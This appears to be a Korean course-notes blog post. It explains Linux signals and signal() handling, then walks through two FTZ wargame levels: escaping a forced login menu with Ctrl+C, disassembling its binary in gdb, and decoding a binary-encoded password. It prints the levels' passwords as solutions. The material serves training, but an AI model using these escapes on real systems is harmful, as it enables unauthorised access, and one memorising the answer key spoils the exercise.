The entries in the "Action" column of the tables below specify the default disposition for each signal, as fol- lows:
Term Default action is to terminate the process.
Ign Default action is to ignore the signal.
Core Default action is to terminate the process and dump core (see core(5)).
Stop Default action is to stop the process.
Cont Default action is to continue the process if it is currently stopped. ..... (중략) ..... Signal Value Action Comment ------------------------------------------------------------------------- SIGHUP 1 Term Hangup detected on controlling terminal or death of controlling process SIGINT 2 Term Interrupt from keyboard SIGQUIT 3 Core Quit from keyboard SIGILL 4 Core Illegal Instruction SIGABRT 6 Core Abort signal from abort(3) SIGFPE 8 Core Floating point exception SIGKILL 9 Term Kill signal SIGSEGV 11 Core Invalid memory reference SIGPIPE 13 Term Broken pipe: write to pipe with no readers SIGALRM 14 Term Timer signal from alarm(2) SIGTERM 15 Term Termination signal SIGUSR1 30,10,16 Term User-defined signal 1 SIGUSR2 31,12,17 Term User-defined signal 2 SIGCHLD 20,17,18 Ign Child stopped or terminated SIGCONT 19,18,25 Cont Continue if stopped SIGSTOP 17,19,23 Stop Stop process SIGTSTP 18,20,24 Stop Stop typed at tty SIGTTIN 21,21,26 Stop tty input for background process SIGTTOU 22,22,27 Stop tty output for background process ..... (중략) ..... |
# kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX |
# cd /usr/include
# find . -name signal.h -type f
./linux/signal.h ./asm-generic/signal.h ./asm/signal.h ./signal.h ./sys/signal.h |
# cat /usr/include/asm/signal.h
..... (중략) ..... #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGBUS 7 #define SIGFPE 8 #define SIGKILL 9 #define SIGUSR1 10 #define SIGSEGV 11 #define SIGUSR2 12 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPOLL SIGIO /* #define SIGLOST 29 */ #define SIGPWR 30 #define SIGSYS 31 #define SIGUNUSED 31
/* These should not be considered constants from userland. */ #define SIGRTMIN 32 #define SIGRTMAX _NSIG ..... (중략) ..... |
■ 시그널 함수(signal())
# man signal (# man 2 singal)
NAME signal - ANSI C signal handling
SYNOPSIS #include <signal.h>
typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler);
DESCRIPTION The signal() system call installs a new signal handler for the signal with number signum. The signal handler is set to sighandler which may be a user specified func- tion, or either SIG_IGN or SIG_DFL.
Upon arrival of a signal with number signum the follow- ing happens. If the corresponding handler is set to SIG_IGN, then the signal is ignored. If the handler is set to SIG_DFL, then the default action associated with the signal (see signal(7)) occurs. Finally, if the han- dler is set to a function sighandler then first either the handler is reset to SIG_DFL or an implementation- dependent blocking of the signal is performed and next sighandler is called with argument signum.
Using a signal handler function for a signal is called "catching the signal". The signals SIGKILL and SIGSTOP cannot be caught or ignored. |
시그널 함수 사용법
-----------------------------------------------------------------------------------------
함수 사용법 함수 사용예 설명
-----------------------------------------------------------------------------------------
signal(시그널번호, SIG_DFL) signal(SIGINT, SIG_DFL) SIGINT 시그널 실행
signal(시그널번호, SIG_IGN) signal(SIGQUIT, SIG_IGN) SIGQUIT 시그널 무시
signal(시그널번호, handler함수) signal(SIGINT, handler) SIGINT(CTRL + C)가 입력되면
handler() 함수를 실행
-----------------------------------------------------------------------------------------
(linux200)
시그널(signal)?
하나의 프로세스가 다른프로세에게 보내는 비동기적 알림 이벤트 메세지
# kill [-1 | -2 | -9 | -15] PID PID
signal 종류
----------------------------------
1 SIGHUP HangUp signal, process restart # kill -1 PID (# kill -HUP PID)
2 SIGINT Interrupt signal # kill -2 PID (# kill -INT PID)
9 SIGKILL force signal # kill -9 PID (# kill -KILL PID)
15 SIGTERM termination(default) # kill -15 PID(# kill -TERM PID)
----------------------------------
[실습] signal(-1/-9/-15) 간단한 실습
# pgrep -lf sendmail
4462 sendmail: accepting connections 4472 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue |
# kill -15 4462 (# kill -TERM 4462)
# pgrep -lf sendmail
4472 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue |
# service sendmail restart
# pgrep -lf sendmail
11130 sendmail: accepting connections 11140 sendmail: Queue runner@01:00:00 for /var/spool/clientmque |
# kill -9 11130 (# kill -KILL 11130)
# pgrep -lf sendmail
11140 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue |
# service sendmail restart
# pgrep -lf sendmail
11200 sendmail: accepting connections 11210 sendmail: Queue runner@01:00:00 for /var/spool/clientmque |
# kill -1 11200
# pgrep -lf sendmail
11223 sendmail: accepting connections 11210 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue |
[실습] signal() 함수 사용법
# cd /test && rm -rf /test/*
# vi signal.c
#include<stdio.h> #include<signal.h> #include<unistd.h>
/* CTRL + C function */ void sigint_handler(int signo) { printf("received %d\n", signo); signal(SIGINT, SIG_DFL); /* signal excute */ }
/* CTRL + Z function */ void sigtstp_handler(int signo) { printf("received %d\n", signo); signal(SIGTSTP, SIG_IGN); /* signal not excute */ }
/* CTRL + \ function */ void sigquit_handler(int signo) { printf("received %d\n", signo); signal(SIGQUIT, SIG_DFL); /* signal excute */ }
int main(void) { if (signal(SIGINT, sigint_handler) == SIG_ERR) { printf("\ncan't catch signal\n"); }
if(signal(SIGTSTP, sigtstp_handler) == SIG_ERR) { printf("\ncan't catch signal\n"); } if(signal(SIGQUIT, sigquit_handler) == SIG_ERR) { printf("\ncan't catch signal\n"); } while(1) sleep(1); return 0; } |
# gcc -o signal signal.c
# ./signal
<CTRL + C>
received 2
<CTRL + \>
received 3
<CTRL + C>
# ./signal
<CTRL + C>
received 2
<CTRL + \>
received 3
<CTRL + Z>
received 20
<CTRL + C>
# ./signal
<CTRL + Z>
received 20
<CTRL + C>
received 2
<CTRL + \>
received 3
<CTRL + C>
# stty -a (# stty --all)
speed 38400 baud; rows 33; columns 71; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = M-^?; eol2 = M-^?; swtch = M-^?; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0; -parenb -parodd cs8 hupcl -cstopb cread -clocal -crtscts -cdtrdsr -ignbrk brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc ixany imaxbel iutf8 opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke |
Level 7 도전해 보기
level6 사용자로 로그인
-> ID/PASS: level6/what the hell
Last login: Mon Aug 25 08:41:35 from localhost.localdomain
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<ENTER>
##################################### ## ## ## 텔넷 접속 서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## #####################################
접속하고 싶은 bbs를 선택하세요 : 1 Trying 203.245.15.76... |
-> 잠시 기다리면 접속이 끊어진다.(약 20초 정도)
level6 사용자로 새로 로그인
-> ID/PASS: level6/what the hell
Last login: Mon Aug 25 08:41:35 from localhost.localdomain
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<ENTER>
##################################### ## ## ## 텔넷 접속 서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## #####################################
접속하고 싶은 bbs를 선택하세요 : 2 Trying 203.238.129.97... |
-> 잠시 기다리면 접속이 끊어진다.(약 20초 정도)
level6 사용자로 새로 로그인
-> ID/PASS: level6/what the hell
Last login: Mon Aug 25 08:41:35 from localhost.localdomain
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<ENTER>
##################################### ## ## ## 텔넷 접속 서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## #####################################
접속하고 싶은 bbs를 선택하세요 : 3 Trying 210.120.128.180... |
-> 잠시 기다리면 접속이 끊어진다.(약 20초 정도)
(windows) 원본 운영체제
<CTRL + ESC> => "cmd"
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\soldesk> cd \
C:\> cls C:\> nslookup 기본 서버: kns.kornet.net Address: 168.126.63.1
> 203.245.15.76 서버: kns.kornet.net Address: 168.126.63.1
이름: home.hitel.net Address: 203.245.15.76
> 203.238.129.97 서버: kns.kornet.net Address: 168.126.63.1
*** kns.kornet.net이(가) 203.238.129.97을(를) 찾을 수 없습니다. Non-existent domain > 210.120.128.180 서버: kns.kornet.net Address: 168.126.63.1
이름: chollian.net Address: 210.120.128.180
> quit |
-> 인터넷의 발전으로 PC 통신 BBS 서비스는 페지 되었다.
BBS 화면은 가짜 모듈에 해당한다. 이 메뉴를 우회할 수 있는 뭔가가 있을 것이다.
대신 우회할 수 있는 시점이 어디인가가 중요하다.
우회할 수 있는 시점을 확인하기 위해서 수많은 시그널을 무작위로 입력해 본다.
level6 사용자로 새로 로그인
-> ID/PASS: level6/what the hell
Last login: Mon Aug 25 08:41:35 from localhost.localdomain
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<ENTER>
##################################### ## ## ## 텔넷 접속 서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## #####################################
접속하고 싶은 bbs를 선택하세요 : <CTRL + C> Can't use ctrl+c <CTRL + D>
|
-> 접속이 끊어진다.
level6 사용자로 새로 로그인
-> ID/PASS: level6/what the hell
Last login: Mon Aug 25 08:41:35 from localhost.localdomain
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<ENTER>
##################################### ## ## ## 텔넷 접속 서비스 ## ## ## ## ## ## 1. 하이텔 2. 나우누리 ## ## 3. 천리안 ## ## ## #####################################
접속하고 싶은 bbs를 선택하세요 : <CTRL + \>
|
-> 접속이 끊어진다.
-> 시그널 처리가 되어 있다는 것을 알수 있다.
-> ( ? ) 그럼 어떻게 로그인하자마자 프로그램이 실행 된것일까?
level6 사용자로 새로 로그인
-> ID/PASS: level6/what the hell
login: level6 Password: (what the hell) Last login: Mon Aug 25 15:30:54 from 192.168.10.1
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<CTRL + C>
[level6@ftz level6]$ |
[level6@ftz level6]$ id
uid=3006(level6) gid=3006(level6) groups=3006(level6) |
[level6@ftz level6]$ my-pass
Level6 Password is "what the hell". |
[level6@ftz level6]$ ls -al
합계 104 drwxr-xr-x 4 root level6 4096 3월 5 2003 . drwxr-xr-x 35 root root 4096 8월 19 12:58 .. -rw-r--r-- 1 root root 245 9월 24 2000 .Xdefaults -rw------- 1 root root 1 1월 15 2010 .bash_history -rw-r--r-- 1 root root 12 11월 24 2000 .bash_login -rw-r--r-- 1 root root 24 2월 24 2002 .bash_logout -rw-r--r-- 1 root root 224 2월 24 2002 .bash_profile -rw-r--r-- 1 root root 163 3월 5 2003 .bashrc -rw-r--r-- 1 root root 400 9월 24 2000 .cshrc -rw-r--r-- 1 root root 4742 9월 24 2000 .emacs -r--r--r-- 1 root root 319 9월 24 2000 .gtkrc -rw-r--r-- 1 root root 100 9월 24 2000 .gvimrc -rw-r--r-- 1 root root 226 9월 24 2000 .muttrc -rw-r--r-- 1 root root 367 9월 24 2000 .profile -rw-r--r-- 1 root root 1 5월 7 2002 .viminfo -rw-r--r-- 1 root root 4145 9월 24 2000 .vimrc -rw-r--r-- 1 root root 72 11월 23 2000 hint -rw-r----- 1 root level6 36 3월 24 2000 password drwxr-xr-x 2 root level6 4096 5월 16 2005 public_html drwxrwxr-x 2 root level6 4096 1월 14 2009 tmp -rwxr-x--- 1 root level6 14910 3월 5 2003 tn |
[level6@ftz level6]$ cat hint
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
|
[level6@ftz level6]$ file tn
tn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped |
[level6@ftz level6]$ cat .bashrc
# .bashrc
# User specific aliases and functions
# Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi export PS1="[\u@\h \W]\$ " ./tn logout |
[level6@ftz level6]$ cat password
Level7 password is "come together". |
사용자 로그인 ---> 환경파일(.bashrc(./tn)) ---> tn 프로그램 실행(번호) ---> 천리안(telnet)
의사 코드를 생성해 보자.
level6 사용자로 로그인
login: level6 Password: (what the hell) Last login: Mon Aug 25 15:33:48 from 192.168.10.1
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
<CTRL + C> |
[level6@ftz level6]$ id
uid=3006(level6) gid=3006(level6) groups=3006(level6) |
[level6@ftz level6]$ ls -l
합계 32 -rw-r--r-- 1 root root 72 11월 23 2000 hint -rw-r----- 1 root level6 36 3월 24 2000 password drwxr-xr-x 2 root level6 4096 5월 16 2005 public_html drwxrwxr-x 2 root level6 4096 1월 14 2009 tmp -rwxr-x--- 1 root level6 14910 3월 5 2003 tn |
[level6@ftz level6]$ gdb tn
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x080484f8 <main+0>: push %ebp 0x080484f9 <main+1>: mov %esp,%ebp 0x080484fb <main+3>: sub $0x8,%esp 0x080484fe <main+6>: sub $0xc,%esp 0x08048501 <main+9>: push $0x80486f2 0x08048506 <main+14>: call 0x8048384 <system> /* int system(const char *string); */ 0x0804850b <main+19>: add $0x10,%esp 0x0804850e <main+22>: call 0x8048354 <getchar> /* int getchar(void); */ 0x08048513 <main+27>: sub $0xc,%esp 0x08048516 <main+30>: push $0x80486fb 0x0804851b <main+35>: call 0x8048384 <system> 0x08048520 <main+40>: add $0x10,%esp 0x08048523 <main+43>: sub $0xc,%esp 0x08048526 <main+46>: push $0x8048720 0x0804852b <main+51>: call 0x80483c4 <printf> /* int printf(const char *format, ...); */ 0x08048530 <main+56>: add $0x10,%esp 0x08048533 <main+59>: sub $0xc,%esp 0x08048536 <main+62>: push $0x8048760 0x0804853b <main+67>: call 0x80483c4 <printf> 0x08048540 <main+72>: add $0x10,%esp 0x08048543 <main+75>: sub $0xc,%esp 0x08048546 <main+78>: push $0x80487a0 0x0804854b <main+83>: call 0x80483c4 <printf> 0x08048550 <main+88>: add $0x10,%esp 0x08048553 <main+91>: sub $0xc,%esp 0x08048556 <main+94>: push $0x8048760 0x0804855b <main+99>: call 0x80483c4 <printf> 0x08048560 <main+104>: add $0x10,%esp 0x08048563 <main+107>: sub $0xc,%esp 0x08048566 <main+110>: push $0x8048760 0x0804856b <main+115>: call 0x80483c4 <printf> 0x08048570 <main+120>: add $0x10,%esp ---Type <return> to continue, or q <return> to quit--- 0x08048573 <main+123>: sub $0xc,%esp 0x08048576 <main+126>: push $0x80487e0 0x0804857b <main+131>: call 0x80483c4 <printf> 0x08048580 <main+136>: add $0x10,%esp 0x08048583 <main+139>: sub $0xc,%esp 0x08048586 <main+142>: push $0x8048820 0x0804858b <main+147>: call 0x80483c4 <printf> 0x08048590 <main+152>: add $0x10,%esp 0x08048593 <main+155>: sub $0xc,%esp 0x08048596 <main+158>: push $0x8048760 0x0804859b <main+163>: call 0x80483c4 <printf> 0x080485a0 <main+168>: add $0x10,%esp 0x080485a3 <main+171>: sub $0xc,%esp 0x080485a6 <main+174>: push $0x8048860 0x080485ab <main+179>: call 0x80483c4 <printf> 0x080485b0 <main+184>: add $0x10,%esp 0x080485b3 <main+187>: sub $0x8,%esp 0x080485b6 <main+190>: push $0x80484e0 0x080485bb <main+195>: push $0x2 0x080485bd <main+197>: call 0x8048374 <signal> /* void (*signal(int signum, void (*handler)(int)))(int); */ 0x080485c2 <main+202>: add $0x10,%esp 0x080485c5 <main+205>: sub $0xc,%esp 0x080485c8 <main+208>: push $0x80488a0 0x080485cd <main+213>: call 0x80483c4 <printf> 0x080485d2 <main+218>: add $0x10,%esp 0x080485d5 <main+221>: sub $0x8,%esp 0x080485d8 <main+224>: lea 0xfffffffc(%ebp),%eax 0x080485db <main+227>: push %eax 0x080485dc <main+228>: push $0x80488c3 0x080485e1 <main+233>: call 0x8048394 <scanf> /* int scanf(const char *format, ...); */ 0x080485e6 <main+238>: add $0x10,%esp 0x080485e9 <main+241>: cmpl $0x1,0xfffffffc(%ebp) 0x080485ed <main+245>: jne 0x80485ff <main+263> ---Type <return> to continue, or q <return> to quit--- 0x080485ef <main+247>: sub $0xc,%esp 0x080485f2 <main+250>: push $0x80488c6 0x080485f7 <main+255>: call 0x8048384 <system> 0x080485fc <main+260>: add $0x10,%esp 0x080485ff <main+263>: cmpl $0x2,0xfffffffc(%ebp) 0x08048603 <main+267>: jne 0x8048615 <main+285> 0x08048605 <main+269>: sub $0xc,%esp 0x08048608 <main+272>: push $0x80488db 0x0804860d <main+277>: call 0x8048384 <system> 0x08048612 <main+282>: add $0x10,%esp 0x08048615 <main+285>: cmpl $0x3,0xfffffffc(%ebp) 0x08048619 <main+289>: jne 0x804862b <main+307> 0x0804861b <main+291>: sub $0xc,%esp 0x0804861e <main+294>: push $0x80488f1 0x08048623 <main+299>: call 0x8048384 <system> 0x08048628 <main+304>: add $0x10,%esp 0x0804862b <main+307>: cmpl $0x1,0xfffffffc(%ebp) 0x0804862f <main+311>: je 0x804864d <main+341> 0x08048631 <main+313>: cmpl $0x2,0xfffffffc(%ebp) 0x08048635 <main+317>: je 0x804864d <main+341> 0x08048637 <main+319>: cmpl $0x3,0xfffffffc(%ebp) 0x0804863b <main+323>: je 0x804864d <main+341> 0x0804863d <main+325>: sub $0xc,%esp 0x08048640 <main+328>: push $0x8048920 0x08048645 <main+333>: call 0x80483c4 <printf> 0x0804864a <main+338>: add $0x10,%esp 0x0804864d <main+341>: leave 0x0804864e <main+342>: ret 0x0804864f <main+343>: nop End of assembler dump. (gdb) x/s 0x80486f2 0x80486f2 <_IO_stdin_used+46>: "cat hint" (gdb) x/s 0x80486fb 0x80486fb <_IO_stdin_used+55>: "clear" (gdb) x/s 0x8048720 0x8048720 <_IO_stdin_used+92>: "\n ", '#' <repeats 37 times>, "\n" (gdb) x/s 0x8048760 0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n" (gdb) x/s 0x80487a0 0x80487a0 <_IO_stdin_used+220>: " ## 텔넷 접속 서비스 ##\n" (gdb) x/s 0x8048760 0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n" (gdb) x/s 0x8048760 0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n" (gdb) x/s 0x80487e0 0x80487e0 <_IO_stdin_used+284>: " ## 1. 하이텔 2. 나우누리 ##\n" (gdb) x/s 0x8048820 0x8048820 <_IO_stdin_used+348>: " ## 3. 천리안", ' ' <repeats 19 times>, "##\n" (gdb) x/s 0x8048760 0x8048760 <_IO_stdin_used+156>: " ##", ' ' <repeats 33 times>, "##\n" (gdb) x/s 0x8048860 0x8048860 <_IO_stdin_used+412>: " ", '#' <repeats 37 times>, "\n" (gdb) x/s 0x80484e0 0x80484e0 <sig_func>: "U\211?203?b\203?fh?206\004\b翫?\203?020U\211?\203?b\203?fh?206\004\b??\203?020??\203?fh?206\004\b??\203?020\203?fh \207\004\b?224?\203?020\203?fh`\207\004\b?204?\203?020\203?fh?207\004\b??\203?020\203?fh`\207\004\b??\203?020\203?fh`\207\004\b??\203?020\203?fh?207\004\b??\203?020\203?fh \210\004\b??\203?020\203?\fh`\207\004\b??\203?020\203?fh`"... (gdb) disas sig_func Dump of assembler code for function sig_func: 0x080484e0 <sig_func+0>: push %ebp 0x080484e1 <sig_func+1>: mov %esp,%ebp 0x080484e3 <sig_func+3>: sub $0x8,%esp 0x080484e6 <sig_func+6>: sub $0xc,%esp 0x080484e9 <sig_func+9>: push $0x80486e0 0x080484ee <sig_func+14>: call 0x80483c4 <printf> 0x080484f3 <sig_func+19>: add $0x10,%esp 0x080484f6 <sig_func+22>: leave 0x080484f7 <sig_func+23>: ret End of assembler dump. (gdb) x/s 0x80486e0 0x80486e0 <_IO_stdin_used+28>: "Can't use ctrl+c\n" (gdb) x/s 0x80488a0 0x80488a0 <_IO_stdin_used+476>: "\n접속하고 싶은 bbs를 선택하세요 : " (gdb) x/s 0x80488c3 0x80488c3 <_IO_stdin_used+511>: "%d" (gdb) x/s 0x80488c6 0x80488c6 <_IO_stdin_used+514>: "telnet 203.245.15.76" (gdb) x/s 0x80488db 0x80488db <_IO_stdin_used+535>: "telnet 203.238.129.97" (gdb) x/s 0x80488f1 0x80488f1 <_IO_stdin_used+557>: "telnet 210.120.128.180" (gdb) x/s 0x8048920 0x8048920 <_IO_stdin_used+604>: "잘못 입력하셨습니다. 접속을 종료합니다.\n" (gdb) quit |
■ 복원된 의사코드이다.
# vi tn.c
#include <stdio.h> #include <signal.h>
void sig_func(int signo) { printf("Can't use ctrl+c\n"); }
int main() { char input; int select, i;
system("cat hint"); input = getchar(); system("clear");
printf("#####################################\n"); printf("## ##\n"); printf("## 텔넷 접속 서비스 ##\n"); printf("## ##\n"); printf("## 1. 하이텔 2. 나우누리 ##\n"); printf("## 3. 천리안 ##\n"); printf("## ##\n"); printf("#####################################\n");
for(i=1; i<32; i++) { if(i == SIGINT) signal(i, sig_func); else signal(i, SIG_IGN); }
printf("\n접속하고 싶은 bbs를 선택하세요 : "); switch(input) { case 1: system("telnet 203.245.15.76"); break; case 2: system("telnet 203.238.129.97"); break; case 3: system("telnet 210.120.128.180"); break; default: if(input !=1 && input !=2 && input !=3) printf("잘못 입력하셨습니다. 접속을 종료합니다.\n"); } return 0; } |
■ 원본 소스 코드
# vi tn.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h>
void sig_func( int sig ) { printf( "Can't use ctrl+c\n" ); }
int main(){
int i;
system("cat hint"); getchar(); system("clear"); printf("\n #####################################\n"); printf(" ## ##\n"); printf(" ## 텔넷 접속 서비스 ##\n"); printf(" ## ##\n"); printf(" ## ##\n"); printf(" ## 1. 하이텔 2. 나우누리 ##\n"); printf(" ## 3. 천리안 ##\n"); printf(" ## ##\n"); printf(" #####################################\n");
signal( SIGINT, sig_func ); printf("\n접속하고 싶은 bbs를 선택하세요 : "); scanf( "%d", &i );
if( i==1 ) system("telnet 203.245.15.76"); if( i==2 ) system("telnet 203.238.129.97"); if( i==3 ) system("telnet 210.120.128.180"); if( i!=1 && i!=2 && i!=3 ) printf("잘못 입력하셨습니다. 접속을 종료합니다.\n");
} |
7 | Leve7 -> Leve8 |
단원의 목적
암호학에 대해서(2진수 <-> 10진수 <-> 16진수)
printf() 함수를 사용할 때 메모리에 2진수로 값이 저장되어 있지만 사람이 이해하기 쉽도록 하기 위해서 %c를 지정하면 한글자가 보이고, %d로 지정하면 모니터에 정수가 출력된다.
반대로 사용자가 메모리에 원하는 문자를 저장하려면 아스키 테이블을 보고, 그 문자에 해당하는 16진수 값을 저장해야 한다.
Level 8 문제에 도전하기
level7 사용자로 로그인
-> ID/PASS: level7/come together
---------------------------- 실습을 위한 준비 ------------------------------
[level7@ftz level7]$ su root
Password: (root 사용자 암호 입력) |
[level7@ftz level7]$ cat << EOF >> /bin/wrong.txt
올바르지 않은 패스워드 입니다.
패스워드는 가까운곳에...
--_--_- --____- ---_-__ --__-_-
EOF
[level7@ftz level7]$ cat /bin/wrong.txt
올바르지 않은 패스워드 입니다. 패스워드는 가까운곳에... --_--_- --____- ---_-__ --__-_- |
[level7@ftz level7]$ exit
---------------------------- 실습을 위한 준비 ------------------------------
[level7@ftz level7]$ ls -l
합계 12 -rw-r--r-- 1 root root 185 11월 23 2000 hint drwxr-xr-x 2 root level7 4096 2월 24 2002 public_html drwxrwxr-x 2 root level7 4096 1월 9 2009 tmp |
[level7@ftz level7]$ cat hint
/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.
1. 패스워드는 가까운곳에.. 2. 상상력을 총동원하라. 3. 2진수를 10진수를 바꿀 수 있는가? 4. 계산기 설정을 공학용으로 바꾸어라.
|
[level7@ftz level7]$ find / -name level7 2>/dev/null
/bin/level7 /home/level7 |
[level7@ftz level7]$ find / -user level8 -perm -4000 2>/dev/null
/bin/level7 |
[level7@ftz level7]$ ls -l /bin/level7
-rws--x--- 1 level8 level7 12312 8월 19 12:58 /bin/level7 |
[level7@ftz level7]$ /bin/level7
Insert The Password : aaaa 올바르지 않은 패스워드 입니다. 패스워드는 가까운곳에... --_--_- --____- ---_-__ --__-_- |
[level7@ftz level7]$ /bin/level7
Insert The Password : 1234 올바르지 않은 패스워드 입니다. 패스워드는 가까운곳에... --_--_- --____- ---_-__ --__-_ |
-------------------------------------------------------------------------
구분 표기 예 아스키문자열
-------------------------------------------------------------------------
2진수(Bin): 1101101 1100001 1110100 1100101 ?
10진수(Dec): 109 97 116 101 mate
16진수(Hex): 6d 61 74 65 mate
-------------------------------------------------------------------------
[level7@ftz level7]$ export LANG=C
[level7@ftz level7]$ man ascii
Oct Dec Hex Char Oct Dec Hex Char ------------------------------------------------------------ ..... (중략) .... 001 1 01 SOH (start of heading) 101 65 41 A ..... (중략) .... 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v ..... (중략) .... |
[level7@ftz level7]$ /bin/level7
Insert The Password : mate
Congratulation! next password is "break the world".
|
'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160708 리버싱 (0) | 2016.07.08 |
---|---|
20160707 리버싱 (0) | 2016.07.07 |
20160705 리버싱 (0) | 2016.07.05 |
20160704 리버싱 (0) | 2016.07.04 |
20160701 프로젝트#2 피드백 (0) | 2016.07.01 |